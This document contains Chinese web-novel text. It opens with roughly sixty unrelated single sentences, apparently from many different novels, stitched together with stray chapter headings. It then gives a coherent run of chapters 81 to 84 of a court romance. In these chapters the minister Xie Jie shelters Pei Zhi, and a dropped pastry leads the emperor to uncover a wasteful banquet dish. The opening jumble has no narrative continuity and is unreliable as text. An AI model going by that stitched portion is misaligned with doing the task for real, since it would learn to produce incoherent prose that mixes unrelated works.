眼前的少年不过二十来岁,哪怕从娘胎里就开始修炼也不可能修炼到这种恐怖的地步。
她突然很想在这样的怀抱里多赖一会儿,多享受这种新奇的感觉一会儿。
如此,没有办法,徐无忧也只能马上追了上去,但竟一时间追不上,只能跟在胖墩儿的屁股后面。
伦敦街头,众人越说越起劲,没人注意阴影处几道人影望着这边,眼中饱含着讥诮。
刀刃在离她的脖子不到几寸的地方停下,正欲冲上台劫人的顾临岸一顿,诧异地望向来人。
燕赤霞躲在阴影里:“好,那你去引她过来,我来捉住她!”杀鬼很容易,活捉就难了点。
“如果留着她,牵扯寒愈就是大麻烦。”席卜生是希望把她做掉的,跟席澈一同下地狱,省了心了。
但是听到他们声音的老人,这位叫做“满大人”的男人却并没有什么表示,只是一脸严肃的挺直了身子,目光迅速在两旁的年轻男子脸上扫视了一遍。
我忍着心里的难受,冷冷地说:“我们都需要冷静一下。”其实我挺担心江辞云是给我一巴掌再给我一甜枣。他大半夜过来,该不会真是想和我谈离婚?
‘太白飞剑术’的御剑之术在操纵之前,都必须要以自身的太白剑气来温养剑身,使太白剑气能够圆转自如的出入剑体才行,不可能随便拿一柄剑就能直接战斗。
滋水乃时运矣,天赐想找到和自己真正的有缘之人,凭借自己的本事,给对方修行之路指出正确的方向。来渡有缘人。使更多因为道行不够折寿之人延长自己的生命。
沙发上的男人被她连续两句呛得略微吸气,但又咬合下颚忍下去了。
赵高被邱明的雷霆劈中,他挣扎着爬起来,但是却感觉到浑身筋脉寸断,他已经废了,甚至连拳头都攥不住。
向老点了点头,他知道天赐是有意安排的,前半夜不会出现什么事,自己三世轮回者也能应付。但是后半夜在深山里,真的就不知道会出现什么问题了,那时天赐守夜更加安全,所以向老点了点头答应了起来。
第一卷 第79章 霉运缠身的谢观南
程阳没有再打断陈清,他只是静静的听着,是与非,他自己心里做着甄别。
路大川看见熟悉的老太婆穿着新衣精神饱满,心里突然一阵酸涩,然后便是羡慕了。
夏叶凉看得也很认真,但她本身不是西餐厨师,有些技术细节其实注意不到,提问并没有钱浅这样频繁,而同样也学了西厨的蓝召雨其实注意力并没有在付清瑜的酱汁上。
最后,王灵韵凶狠的眼神,瞪向了谷御。那个看起来一脸无辜的谷御。
王灵韵没有闪开,脚踝处被划了一刀。刀口不深,只是已经出血了。
青玥是因为没有胃口,云婳是吃过了。所以几人没有耽误时间,就启程了。
“我特喵的一个都不娶!”钱浅恶狠狠的宣布,之后一把扯过剧情介绍。
我看见原本空洞无一物的鬼菩萨三双空洞像是忽然被填满了一样变成了三双眼睛,然后就一直看着薛方,我看见薛方一直保持着那样的动作,脸眼睛都不曾眨一下,但是我分明能看出他的眼睛已经彻底空洞了。
他觉得,若是有高级武功可以修炼,还是优先修炼高级武功,毕竟起点高。
所以,来到榕树城的这段时光,为什么是她最和平、又最悠闲的一段时光?
再说说云汐自己,她一直就非常喜欢莫离影后,也一直希望可以与她共事。
10月3日,星期一,又一个开盘日,如同前几天一样,台股依旧在缓慢下跌。这已经是连续第九天下跌了,交易大厅中一干散户面色麻木的一边诅咒着当权者,一边祈祷股市奇迹的出现。
看着两人眼神中那阴谋得逞的笑意,赵子弦有一种上当受骗的感觉,算了,暂时就屈服在两人的淫威之下吧,不然她们是不会消停下来的。
纯嫔动了动唇角,露出一抹浅笑道:“妹妹可不是永和宫的常客……”言下之意,昭然若揭。
“飞儿,我和你明说了吧,你现在不能离开,只要你不离开,我便保证沉香的安全,如何?”上官弘烈索性摊开了说。
马师傅一双老眼此时死死地盯着铜铃铛,众人之中除了王浩明之外,就只有他是专业人士了。
她再不要走了,太累了,如果可以其实陆七七更想,自己尝试着设计一套。
那人瞪了她一眼,一句话也不愿意多说,一把甩开她的手,跟上乔宋和另外一个警察的脚步。见乔宋频频的回头,不耐烦的推了她一把,乔宋身体被他推了一个踉跄,看着母亲苍白的脸色,心里越来越沉。
“没在意,酒店里每天进进出出那么多人,我们是不会注意的来往之人的。再说有些特别的客人,他们都是偷偷摸摸进出,我们也不好特意去留意客人。”服务员回道。
“阿弥陀佛,没有该死与不该死,我没让他们去死,可他们还是死了。”月光菩萨十分的淡然。
而在茶室之外,张静亲戚这边,方才的一系列印象,才发酵起来。
候思亮一阵气结,这个郑鹏真是牙尖嘴利,转眼功夫,自己就成了那上爱炫富、在衣服外面贴纸条的土财主。
赵婆婆觉得有几分不安了起来,她的手握在赵如瑟的手中,冰凉冰凉的。
在五级凶兽面前,四级的异能者算什么,而且对方皮粗肉厚,力量巨大,全身浑然一体,甚至连脸都没有,更不要说是弱点了。
沈宴之手一挥,一道灵绳出现,直接将古意绑了起来,思无邪的手指微微一动,病匕首化开,消失在空气当中。
虽然他的神行能力,可以无视魔法阵阻挡。但拉尔卡纳可是帝都,谁知道除了外面的魔法阵外,还有没有其他防卫手段,他可不想自找麻烦。
话音未落,海拉举起双手,空中立时浮现出几柄黝黑的利刃,静静地漂浮在空中,如同黑色的毒蛇,伺机而动。
“现在,你们是否还想阻止我!”宽大的双翼铺天盖地般展开,半透明的蔚蓝色泽仿佛就是一片天空,玛里苟斯天神下凡般的威势让所有人都噤若寒蝉。
雷睿点点头,信步走出实验室,来到可供直升机起降的平台上,居高临下,远眺整个纽约曼哈顿中城区的高楼森林。
看到这些,杨冲闭上了眼,给自己灌下了营养药剂,静静的靠着身后一言不发。
所以,当时,他并没有帮韩晓薇,也就没有让自己的儿子跟唐若瑶知道那些是他安排的。
苏易浑然一副死猪不怕开水烫的意思,反而直接对着那黑袍人说出了这样的话来。
白依毫不犹豫地一脚率先跨进了门,找了个还算干净的凳子坐了下来,减缓呼吸来适应周围的恶臭。这一世有了异能,各个感官相较前一世都灵敏了很多,自然比普通人更加难以忍受。
随后的几天,楚墨每天日间在客栈休息,晚上便到知县府去,但却一直未见到贼人的踪影。
直到吴晓峰听到屋内的挠门声,从外面打开房门时,才看到为了够到门而不得不在地上摸爬滚打地挣扎着将身体拉伸至极限的穆枫。
颜茴闭起双眼,脸上的表情骤然数变,一会狰狞,一会沉痛,一会愤怒,一会忧伤,口中也不住地胡言乱语着,仿佛她与颜芳的灵魂正在体内激烈争斗着。
烈焰刀瞬间出现,巨大的烈焰之力加持在刀身之上,显得威力绝伦,看上去极为强大。
想到这里,斯科特自嘲的笑了笑,然后一反常态的松开常年比赛中保持的双手环抱在胸前的动作,而是轻松的坐在了休息区,随手拿起一瓶饮料,准备欣赏骑士队的表现。
第一卷 第80章 及时抽身
青书等人将谢观南扶着回府的时候,身上只披着一件从下人身上脱下来的粗布葛衣。
谢观南当夜就发起了高热。
二夫人秦氏又病着,这下府中没有主事的人,乱成了一锅粥。
就见两条琥珀朱绫就如同有了意识一般,自己舞动起来,一左一右缠绕向唐紫寒。
而后吴凡大声喝道:“以前的林轩,我对她的厌恶,比你更重。但,林天宝以死换来的安然,吴某忘不了。面对这等不平事,吴某也不会不理。而你余阳蛰是什么狗东西?”吴凡双掌火焰出击,将余阳蛰当场焚化。
这次的失败虽然与罗毅和铃音的实力有关,但是这其中也与狮虎联盟大意有关。
菲德走进了帕特里克的房子,里面很简洁干净,除了基本的生活用具外,就只有一缸鱼,看来这个冠军格斗士也是需要一些东西陪伴的。
白零下意识看了眼自己的手,暗红色的血液混着不知名的黑色脏污,看上去实在倒人胃口。心虚地走进厨房,连同手臂一起用洗洁精洗得干干净净后才心满意足地出来。
“亚尼斯公爵大人!道尔蒂夫人!”那些贵族异口同声地喊到,同时单膝跪了下来。菲德也学着他们的样子,不过他没有像其他人一样低下头,反而抬起头注意着周围的情况。
如果这个世界上没有一个叫做逆命的传奇机甲科学家,如果这个世界上没有一架叫做盘古的机甲,或许在那一天,新都真的再也不会存在了。
不敢说自己哥哥是青阳镇这一代的第一人,但是王乘风敢认第二,想必暂时还没有人敢认第一。
而白零则在努力平息胃中翻滚的呕吐感。那只丧尸房间里闷了一天,在如此炎热的夏末,那腐臭的味道真的能把人熏晕。
被孤天穹操控的林羽将拳头紧握,竟成三百六十度旋转,周围的水流被带动起来,林羽低吼一声,右手比出一个姿势,旋即左手拳头金光大盛。
没等说完,雷奥转过身,已经被咬破的嘴唇被鲜血染得通红,面孔在愤怒下已经扭曲变形,张口第一次粗暴打断了阿尔达利安没说完的话语。
剩余的族老也俱皆愣住,他们实在是没想到王升居然会提出这个选择。
听到墨白的脚步声越来越远,随后就是关门的声音,李絮柔下意识的转头门,所以这意思就是房间里面就只剩下她和她家主人了么?
云雷眼前的这只滑头鬼自然知道自己见不得光,骗吃骗喝也不长久,在人间还要行人间之道才能长久。
我也要生活,只是一般的作者,不是大神,没办法像他们一样靠版权就能不愁吃穿。我每天都要写很久,六千字对我这种有完美主义的人来说要花很多时间,可收入却寥寥无几,税后两千块都不到。希望各位可以理解。
许仙回头,见满车的梨子一个不剩,大车还少了一个把,是新凿的痕迹,才有几分恍然。那乡人刚才也跟着众人观看道士施法,竟然忘了卖梨的事情,事后才发现满车梨尽,连车把都没有了。
童渊的去世让皇甫嵩也深感遗憾,当即准了姜盛去常山拜祭的请求,各部回归皇甫嵩麾下,姜盛仅带于禁、周仓及数十骑卫兵赴常山。
第81章 以后一切都得听我的
谢观南没注意到白玉桐临走之前脸上不悦的神色,一个人躺在床上怔怔出神。
白玉桐出了谢观南的屋子,眉心紧拧。
身边的丫鬟宝蝉见她双手空空,且没人前来相送,忍不住抱怨了两句。
白玉桐横了她一眼,冷冷道:“这谢府眼一团乱麻,有什么可留恋的。快些走吧,免得将来一道祸事下来,牵连到我们。”
宝蝉是知道白玉桐心思的,压低声音问:“那小姐想见的人都没见到,就这么走了吗?回府去可是要被大夫人押着相亲的。”
“弄不好今年就得定亲了。就再也没有机会见到尊贵的那人了。”
白玉桐瞧着远远飞起的一处精美飞檐,眼底生出浓烈的仰慕:“此路不通就另外寻别的路子。实在不行就进宫求族姐帮忙牵线。”
“谢观南不过是我一块踏脚石,既然那么不中用,就丢弃。也没什么值得可惜的。”
她说着,冷冷嘲讽起“在养病”的裴芷。
“谁像小裴氏那么实心眼,傻子一个。被亲姐坑进谢府,又被谢观南三言两语哄骗做了后母。呵呵……”
“现如今她还不是被负心汉囚住,只等什么时候被休弃了。”
她对宝蝉说:“宁为富人妾,不要为穷人妻。像谢府这种有名无实的人家最不能嫁。要嫁就得嫁最好的。”
宝蝉笑嘻嘻的:“奴婢知道了。还是小姐厉害,拿捏得准准的。”
主仆两人低声说着笑,带着一马车谢观南之前献殷勤送的厚礼,施施然出了谢府。
……
谢玠回松风院时,刚踏入房门就瞧见外间罗汉床上静静伏着一道素影。
他看了看铜漏,是回来晚了半个时辰了。
他走上前,看了看她手边被压着的棋局。
是昨夜她输了的那盘,又被她复原了,想必今晚无事就拆解了许久,终于拆解到了往后二十五步。
谢玠看了一会儿,眸光移到了还在沉睡的裴芷身上。
她披着一件藕合色的外衣,内里穿着一件中规中矩的浅粉色素纹襦裙,头发工工整整梳着简单的发髻。
身上没有半点首饰,素得犹如一汪月色。
她伏在案上,露出半边雪样的脸颊。一双柳叶眉微微蹙着,眉头还皱着,似乎睡着都不安稳,还在想着棋局怎么破解。
一缕碎发从鬓边滑落,搭在了脸颊旁,发尾轻巧盖在清淡的唇边。
桌上烛光落在她半边脸颊上,映着睡颜,只觉得冷清的屋子都柔软几分。
谢玠眸光深深,目光又落在她无知无觉垂着的右手上。
若没记错,她右手手指还有一处很重的伤。是被她自己啃咬出来的,牙印触目惊心。
他是救了她那夜过后第二日才明白为什么会有这道伤。
原来是咬破手指,写了血书,然后派了位绝对忠心的下人拼死送到了府尹面前。
京兆府尹李大人拿了血书,在下朝时悄悄问到了他面前。他才知道她为了救自己于水火已是拼尽全力。
他谢玠与任何人都不亲近,就像是天生缺了一窍似的,就连亲生父母都处之淡淡的。
可唯独欣赏的便是内心自强的人,不管男女。只要心里有一股劲,哪怕是不切实际的野心,他都觉得有几分可取之处。
谢玠立在罗汉床前,静静瞧着裴芷那秀美雪白的手。
忽的,他伸手轻轻碰了碰。
裴芷惊醒,抬头瞧见等着的人来了,赶紧起身:“大爷回来了。”
谢玠淡淡“嗯”了一声,径直走到屏风后脱了外衫,换上了常服。
裴芷立在罗汉床边,听着里面洗脸洗手的水声,悄悄绞了绞手。
突然指尖的疼痛让她瞧见了包扎的小拇指。微微一怔,迟钝想起刚才谢玠是不是在看她受伤的指头?
正想着,谢玠从屏风后走了出来。
他眉眼深沉,肃冷的气势并没有因为换下官服而减少几分,只会因身上常服的素淡而越发显出素极生艳的优越五官。
两相面对着,裴芷好不容易想好的话不知怎么说出口。
谢玠眸光从她的脸上,落在棋盘上,忽地问:“还下吗?”
裴芷怔愣片刻,点了点头。
谢玠也不多说,坐在了黑子那一头,捻起一枚黑子,想了想落在了裴芷最后一步白子旁。
裴芷摸不透他的心思,坐下来与他对弈起来。
谢玠明显是放了水,下的几步都恰好下在她能想出后手的位置上。
一局终了,谢玠又赢了。
只不过这一次和昨夜不同,裴芷下得很尽兴。
裴芷一边收拾棋局,一边道:“大爷的棋力很高,都是让我的。不然我也走不动这么多步。
谢玠拿了丫鬟上的温帕子,很是平静擦了擦手。
“你的伤还没好,再养几日。”
裴芷怔愣住,回过神才发现他竟然将自己斟酌一天要说的话,一口回绝了。
他是这么聪明。
聪明近妖,甚至都不用她说一个字就明白她今夜等着他是为了什么。
裴芷手端在腰间,长袖下悄悄掰着受伤未愈的小拇指,低声道:“可是我得回府去,处理好我的事。”
谢玠看了她一眼:“我说了,不急。”
他眸光落在她长袖上,依旧很冷淡:“你的伤还没好。”
说完他转身在书架寻找书要看。忽地,一回头却瞧见裴芷站在他身后,神情复杂。
谢玠没理她,越过她,坐在了书案旁。
裴芷亦步亦趋跟上,站在了他面前。她素白的面上神情很是认真:“大爷,这事始终得解决的。我不能再拖累大爷。”
谢玠没看她,撑着手看书。看样子是不愿意与她说这些事。
裴芷突然想起他决定了的事只说一遍,就不会更改。心里突然丧了丧,坐在他身边的锦凳上。
谢玠看了一会儿书,眸光不知不觉从书上扫到身边枯坐着的女人。
她双目失神,托着没几两肉的腮帮子,愣愣瞧着烛火。样子像极了一只很呆很呆,没吃到鱼的小猫崽。
谢玠沉了脸色:“怎么的?不允了你,就不高兴?”
裴芷回过神来,摇头:“不是不高兴。只是……”不知道该怎么解决才好。
谢玠冷哼一声,指了指收好的棋盘。
“想回去,赢了我便可以走。”
裴芷循着他的手看了一眼,很是认命地摇头:“我一辈子都赢不了大爷。”
就她三脚猫功夫的棋力,想赢过谢玠,还不如跪下来给他磕一个,直接认输。
谢玠挑了眉:“你倒是有自知之明。”
放下书册,他静静瞧着裴芷,眉眼沉沉递出了无形的压迫:“给你一个机会,说也好,做也好,我便可以按着你的意思放你走。”
“不然的话,便只能听我的安排。”
他眸光落在她的面上,添了几许沉暗,冷冷加了一句:“以后一切都得听我的。”
第82章 蠢笨的女人
裴芷愣愣瞧着谢玠,平日很是温软的眼瞪了圆了些,半天才“哦”了一声。
谢玠微微蹙眉,等着她的回答,亦或者是等她做些什么来让自己耳目一新。
可等了半天,裴芷除了那个“哦”字外,就没发出别的声音,更没有做什么。甚至他原以为的事,她连指头都没动一分。
当然她若是做了那些事,就当自己瞎了眼,救错了人。
烛光柔柔,映在她玉雪般的面上,除了一片赏心悦目的美与温柔外,连一点心思都瞧不出来。
看来,眼前的女人浑然不知道他说的是什么意思。
谢玠沉沉与她对视了许久,忍不住问:“哦是什么意思?”
裴芷满脸茫然:“妾身不是一向都听大爷的吩咐吗?还要说些与做些什么呢?”
谢玠:“……”
裴芷柔柔低了头:“再说妾身身边空无一物,没有别的好东西可以给大爷的。”
她的东西还在清心苑中,除去先前寄出去二百两银票想买瓜洲的院子外,剩下的体己银钱也被谢观南抄了。
她很是茫然,亦是很惭愧。
大爷如此帮她,她除了不值钱的忠心与温顺外,好像也拿不出半点好处报答他。
想着,她低低道:“对不起。”
谢玠挑眉,垂眸瞧着在身边羞愧低头的女人。
她真心实意地懊恼着。
的确,她是该反省反省。不然他很想骂一句……没见过比你更蠢笨的。
谢玠冷冷道:“那你说说,回去如何应付谢观南?如果他不肯和离怎么办?”
“别告诉我陈怀瑾大人愿意帮你。故友的面子,他不愿意买账,你也是没办法的。”
原来大爷是担心这个。
裴芷抬起头来,极认真道:“我写了诉状了。”
谢玠面无表情:“还有呢?”
裴芷于是努力回想自己还有什么底牌。她微微侧着头,无意识咬着下唇。雪白的贝齿如珍珠似的,将粉红润泽的唇瓣咬出嫣红的印子。
谢玠眉心又拧了起来,眸光忍不住落在她的唇瓣上。
那边水润盈泽,娇柔得一碰就会破。
心里突然流过一阵陌生的悸动,他突然想起了那一夜,他撬开她紧咬的唇,以口渡药逼着她喝下苦涩的药汤。
那时候的记忆突然变得异样鲜明——
灼热的呼吸中带着陌生女子身体的馨香、润泽的唇微颤着,像是雨后娇艳的花瓣,她茫然又渴切呆呆瞧着他,不明白他在做什么。
她想缠绕他,又害怕得一动不动……一股陌生的热流随着遐想而迅速从身体深处涌上了心头。
修长的手指猛地捏住了裴芷精巧的下颌。
裴芷只觉得下颌一痛,抬头却见谢玠眸光暗沉盯着她,声音暗哑:“别咬。”
裴芷呼吸一窒,陌生的气息随着他抬手的举动扑来。心口随之一窒。
她乖巧地应了一声,不再折磨自己的唇。
谢玠并没有放开手,指腹若有若无扫过她柔滑的肌肤,竟有了自己意识般眷恋不愿意放手。
裴芷低眉顺眼等了一会儿,察觉到了异样,疑惑看向他。
谢玠慢慢放下手,半天才继续问:“想了半日,想到了什么好法子没?”
裴芷为难,想咬唇又意识到了这是谢玠不允许的。
她叹气:“没有什么别的法子。一切全凭良心吧。”
“不过良心这东西,怕是谢观南已经丢了。他现在不愿做人,我实在是没别的办法。”
谢玠冷哼一声。
裴芷沉默了片刻,才又低声道:“我还有几位师父能说得上话。若是师父能出面,我应该可以安稳离开谢府。”
谢玠并不意外,紧蹙的眉心难得松了松。
早在前一些时候,裴芷的底细他已经查得清清楚楚。她师从过什么人是他让奉戍查的重中之重。
越查越是觉得惊讶。
京城中都说裴家有双姝,可目光都集中在裴氏大小姐裴若身上。各种盛赞都奔着她去。
只有裴芷,从来默默无闻,名声不显。原以为只是世人为了凑“双姝”这个名头,将她硬扯进去。
现如今才知道裴济舟对二女儿的栽培比大女儿还尽心。延请的名师都是隐世的大儒,要么是孤傲的丹青大家,又或者是惊才绝艳,却行为惊世骇俗的女师。
这些大儒、怪才们,普通人师从一位都不容易,而裴芷却结结实实跟着这些人学了好几年。
也就是说,裴济舟将自己毕生用心结交的人脉几乎都交给了裴芷一人手上。
若是裴芷肯与这些人说明缘由,这些恩师们必定会出山为她讨公道。
不要小瞧这些没官身的人影响力。
光是南山狂客一人,只要他愿意入宫,就能左右皇帝的想法。
“你倒是不算笨得离谱。”他冷冷道,“这个时候还能想起你是裴济舟的女儿,总算还有药可救。”
裴芷见他终于松了脸色,面上不知不觉带了笑颜:“大爷也觉得我想的法子有用,对吗?”
谢玠垂着眸冷淡瞧了她一眼,半天才不可察地点了点头。
裴芷得了他的赞许,面上的笑容更盛了。
她凑过去,大着胆子轻扯了他的长袖:“大爷……”
谢玠淡淡应了一声。
裴芷面上飞起红晕:“我能求大爷一件事吗?”
谢玠多看了她一眼,并未出声。
这几日她藏在这里养伤,倒是没要这要那的。这还是第一次他听她主动提一些事。
“你说。”
谢玠嗓音沉沉的,很是令人安心。
裴芷低了头,细细的手指绞着,看得些玠又是蹙眉不悦。
这女人木讷,还时常有些不好的小动作,看得他很是不快。
难道不知道她小指还伤着吗?
裴芷想了半日,才慢吞吞道:“大爷还是在这里睡吧。我去睡偏屋。”
谢玠默了一默,问:“你想了半天,就只求我这件事?”
裴芷点了点头,眸光诚恳。
她今日无意中瞧见了谢玠睡的书房,冷冰冰的,什么都没有。
一问之下才知道谢玠为了她,连偏屋都没让人整理,只拿了一卷铺盖去睡了书房地板上。
一想到谢观南平日起居都是七八个下人打点,从吃食到洗漱用具无一不精细。
每日被子都得晒过好几回,才能让他满意。
而谢玠身份如此尊贵,可谓满朝文武都不及他一人,却吃住如此粗糙。
裴芷眼底多了几分坚决,道:“大爷不用管我,只把我当丫鬟使唤。我去睡偏屋也好,去与丫鬟挤一挤也行的。”
第83章 早点养伤,早点滚
谢玠眸色更深了。
他凉薄的眸色定在裴芷脸上,冷冷笑了一声。
“你操心这些做什么?”
裴芷不知道他为何突然生气了,只觉得周身骤然冷了下来。
谢玠起身,越过她离开。
长袍一角扫过她的手,丝绸微凉的触感令她打起了冷颤。
裴芷又一次拽住:“大爷……”
谢玠垂眸,口气森冷:“你知道做我房内丫鬟要做什么?”
裴芷茫然。
谢玠突然俯身,一把捏着她精巧的下颌,口气十分恶劣冷酷:“做我房内丫鬟是要暖床的。”
他冷冷甩开手:“以后不许说这些没用的废话。自荐枕席的女子不差你一个。”
“与我有关系的女子下场都很惨。你若不想死,早些养好伤,早些滚。”
裴芷眼底涌起水光。他这才发现手劲太大,不过片刻就捏得她下巴一片泛红。
谢玠走了。
裴芷愣愣坐在锦凳上。
方才谢玠的怒气来的太快,令她措手不及。
心里说不上什么滋味,好像除了害怕外,心里隐约有点难受。
她轻轻叹了口气,还是叫他为难了。
都怪她话没说清楚,大爷这么好的人都生气了。
……
第二天一早,奉戍来到书房,谢玠却没起身。
他面色沉冷,眼底有淡淡的青黑。他平日就肃冷,脸色不好就越发觉得吓人。
奉戍实在没忍住,问:“大人是不是昨晚没睡好?”
谢玠沉沉看了他一眼:“有这么明显?”
奉戍道:“是啊。大人这脸色,要是朝中大人们见了,还以为最近大人又在办了大案。”
“他们一个个能吓死。”
谢玠想起平日那些人小心翼翼的样子,冷笑一声。
这些人平日畏惧他如蛇蝎,背地里还抱团骂他,时时刻刻想方设法参倒他。
他们也不想想,若是没犯事,何必如此怕他?
奉戍随着他上了马车,突然变戏法变了出一个食盒。
“大人,早起没吃吧。垫垫肚子。”
谢玠嗯了一声,打开食盒,随意捻了一块糕点吃了起来。
他身边没小厮,平日衣食住行都基本上吩咐奉戍安排。
奉戍是行伍出身,身上又有差使职责。做事很粗糙,一般没吩咐也不会做。
今日倒是很稀奇,竟拿来了早膳。
谢玠昨晚睡得晚,腹中的确饿了。吃了几块糕点,边吃边看递上来的折子。
吃到了第四块,隐约觉得不对。
他看向食盒的糕点,是很精致的千层糕。
与市面上的不同,糕做成了梅花状,里面还加了蜜与枣泥。
清香甜蜜,宫里也不是这个做法。
“哪来的?”他面色冷了下来。
奉戍笑了:“大人也觉得好吃是不是?”
谢玠嗯了一声。
能让他多问一句的,都是有点意思的。不然吃食上面,他一般是能填饱肚子就行。
并没有像附庸风雅的朝廷大夫们那么精细。
奉戍道:“是那位做的,今早还说,替我向大人赔个不是。她昨晚说的不是那个意思。”
谢玠眉头动了动。
两人在外面,奉戍自然不会蠢到提起她的名字。
这话谢玠听了便知道是谁。
他冷哼一声,将糕点推得远了些。
冷冷道:“无用之举。”
奉戍见他不高兴,便将食盒拿在手中:
“大人,她说了什么让您生气了?”
谢玠没搭理,垂眸看着手中的折子。
奉戍见他如此,也不好劝慰。
于是道:“大人不吃,属下吃。很好吃的。”
说着,他捏了一块糕点一口吞了下去。
谢玠拧着眉瞧着他牛嚼的样子。
“你吃过?不然怎么知道做的不错?”
奉戍道:“也有一份给属下的。属下早吃完了。”
谢玠:“你也不怕她下毒。”
奉戍又捏了一块吞了下去,道:“旁的人会,她可不会。大人难道还在怀疑她?”
谢玠不语,又冷笑一声。
奉戍边吃边问:“大人还在生气?”
谢玠冷冷道:“一大早就替不相干的人说情,你拿了她什么好处?”
奉戍连忙摇头否认,又夸裴芷:“她厨艺很不错,昨日做了点补汤说让属下尝尝味道。”
“真的很好喝。大人也该尝尝。”
其实裴芷做了补汤是想问谢玠的口味,所以悄悄问了奉戍。
奉戍也不知道谢玠喜欢什么,喝了后便说过好吃的大人都喜欢。
当然这时自然不能将此事点破,所以奉戍只说是裴芷做给他尝尝味道。
谢玠听了突然冷笑一声,对奉戍道:“滚下去。”
奉戍刚想说什么,飞来一脚被踢下马车。
“哎哎,大人……”
马车悠悠晃晃往皇宫而去。
谢玠瞧着那食盒,眸色阴沉。
一切都和平日不一样。
奉戍竟替她说话,吃食也和平日的不同,还有那所谓的补汤听起来也似乎带着某种阴谋。
原以为这女人是安安分分养伤的,没想到私底下小动作那么多。
谢玠眼里掠过冷意,拿起食盒就要叫人丢出马车外,突然马车停了下来。
车夫在外面恭敬禀报到了。
谢玠看着剩下唯一一个千层糕。想了想,将那块糕拢在了长袖中。
早朝一如既往枯燥又无聊。
谢玠站在群臣文官之首,拢着袖子垂着眼眸,神情异常冰。
群臣们奏完各地之事,便偷偷瞧着谢玠的脸色。
按道理平日要从他的脸上瞧出点什么是极难的。无论大事小事,他一贯冷着脸。
可终究是有迹可循的,要是没什么要命的大事,谢玠一般会出声辩驳几位臣公。可如果有大事发生,谢玠从头到尾一言不发。
所以,今日早朝朝会,谢玠垂着眼一语不发的样子,文武大臣们都吓得面色铁青,两股战战。
皇帝也察觉到了异样,看了谢玠一眼。眉心皱了起来。
他极信谢玠,年纪轻轻才能出众,又手段干净利落。是不可多得的能臣。
现在他这般不言不语应该是朝会之后有极重要的事要禀告。
再看群臣们个个神情凝重,便越发觉得山雨欲来。
皇帝便让司礼大太监宣了退朝,命谢玠去御书房议事。
谢玠到了御书房,依旧眉心沉冷。
皇帝开门见山问:“谢爱卿面色凝重,可是怀王那边有了异动?”
谢玠摇头。
皇帝奇怪:“那是有了大案?”
谢玠抬头看了皇帝一眼,蹙眉正想反问皇帝。
他手一抬,突然一块糕骨碌碌从袖子里滚了出来,掉在了地上。
御书房静了一瞬。
第84章 这是千层糕
皇帝做了打破局面的第一人。
他郑重从龙案边走了出来,很是仔细瞧着地上的糕点,问:“谢爱卿,此为何物?”
谢玠在方才糕点滚出的一刻心中已转过千百种念头,什么都有。
这屋子的人都是人证……都灭口算了。毕竟死人才永远不会说话。
心中千百种念头飞过,谢玠面色却依旧沉冷,看不出一点多余表情。
半天,他阴沉沉从口中挤出三个字:“千层糕。”
皇帝见他脸色沉重,只觉得地上这块糕肯定有什么大来头,又或是什么说法。
难道……皇帝恍然大悟:“谢爱卿是不是要以糕喻政?”
一帮老古董大臣时常在日常小事中引申出稀奇古怪的大道理,苦口婆心让他施仁政做明君。可谢玠年纪轻轻,一般有什么话就直言了,应该不耐烦说教皇帝。
皇帝摸不透了,越发觉得面前的谢玠心思深不见底。
“谢爱卿?”皇帝问,很是和颜悦色,“有什么话就直言,朕一定会听的。”
谢玠终于动了,默默将糕从地上捡起,面无表情看着皇帝。
“微臣不敢以糕喻政,只是这糕点是农人辛辛苦苦种出米粟,又经三蒸三晒磨成米粉,再配上蜜与枣泥。这才到了皇帝面前。”
皇帝听了一大段,只觉得云里雾里的,好像听了又好像什么都没听懂。
谢玠不愧是他亲自提拔的文臣,一番话说得浅显易懂,但细想之下又深藏宇宙之中的大奥秘。
皇帝问:“所以呢?”
谢玠面无表情将米糕放入口中,几口吃了下去,淡淡道:“没什么别的,就是觉得任何食物哪怕做得再精细,究其根源都只是食物。是用来充饥的,不能随意浪费。”
说完,他默默行了一礼:“今日无事,容臣告退。”
皇帝眼睁睁瞧着他隽秀的身影消失在御书房门口。沉吟半日,皇帝回头瞧着身边大太监林公公。
“谢爱卿刚才的话你听见了吧?”
林公公面上布满了冷汗,支吾:“是,老奴听见了。”
皇帝眼神有点冷:“朕想起了一件事。西边那位要办千寿宴,御膳房昨日呈给内务府一份菜品册子。你去查。有靡费奢侈的一概不能用。”
他语气沉沉:“谢爱卿一直都是有话直说。若不是遇到无法直言的事,他怎么可能如此费尽心思做了这么一场给朕瞧?”
想着,皇帝越发心痛。
堂堂天子近臣,翰林院编修、天子侍读,庶吉士,文采惊才绝艳,未来是要做文官之首的谢玠,竟然为了劝诫皇帝,将掉落在地上的糕点吃入口中。
想着,皇帝越发恨极了身边做出祸事的一帮蛀虫。
林公公急忙点头应了下去。
皇帝要查的东西很快就有了结果。原来是五个月后太后要办千寿宴,有人为了讨太后欢心,献了一道牛乳蒸羊羔。
太后尝过之后赞不绝口,便命人将这道菜加入千寿宴上。
千寿宴顾名思义,要请千名各地长寿的老者入京入宫赴宴。一则热闹,二则也是与民同乐,为太后祝寿祈福的意思。所以宴席上的每个菜名都要做满一千份。
这乍看起来好像没什么,但细查之下发现了猫腻。
这牛乳蒸羊羔用的羊羔,是活区才刚成型的羊胎。也就是说,光为了这道菜就必须准备一千多头正好怀孕的母羊,还得多备几百头怀胎的母羊以备不时之需。
宫中不养羊,只能向百姓买。而应朝中百姓们养羊又不多,就算养了羊,怀胎母羊也是为了来年生计。
现为了一道菜劳民伤财,还有违天和。这不是献宝,这是阴谋毒计!!
皇帝大怒,怒骂这道菜是“不见天日”的玩意,不但损阴德还大大损害了皇家的脸面。
幸好谢玠委婉提醒,才查出这大隐患。
不敢想,若是在千寿宴上才发现出了这事该怎么办。到时候民间怨声载道,皇家花钱办事还招来骂名,甚至严重点会动摇国本。
皇帝紧急处置了献菜的一干人,诛了罪魁祸首的三族,又亲自去太后宫中说明。
太后不悦,只觉得小题大做,皇帝便去太庙长跪,这才让太后撤回了这道菜,又承诺以后再也不猎奇。
当然这些是后话。
谢玠出了宫,奉戍前来接:“大人现在要去哪儿?”
谢玠皱眉。
奉戍道:“今日衙门休沐,大人是要出城去军营,还是去东厂翻翻案子?还是去监察院翻翻卷宗?”
这些都是平常谢玠去的地方。
他是天子侍读,看着官职一点都不厉害,但实则是皇帝身边最亲信的人。他可以随时变成钦差大臣,先斩后奏,也可以随时变成三军督军,也可以随意进出朝中各部各院,以天子的名义查看想查看的一切。
甚至威风在外的锦衣卫东厂,都得对他毕恭毕敬,生怕他在皇帝面前时“不小心”参了一本。
谢玠缓缓道:“去大理寺。”
奉戍一愣,随即让人备马车。
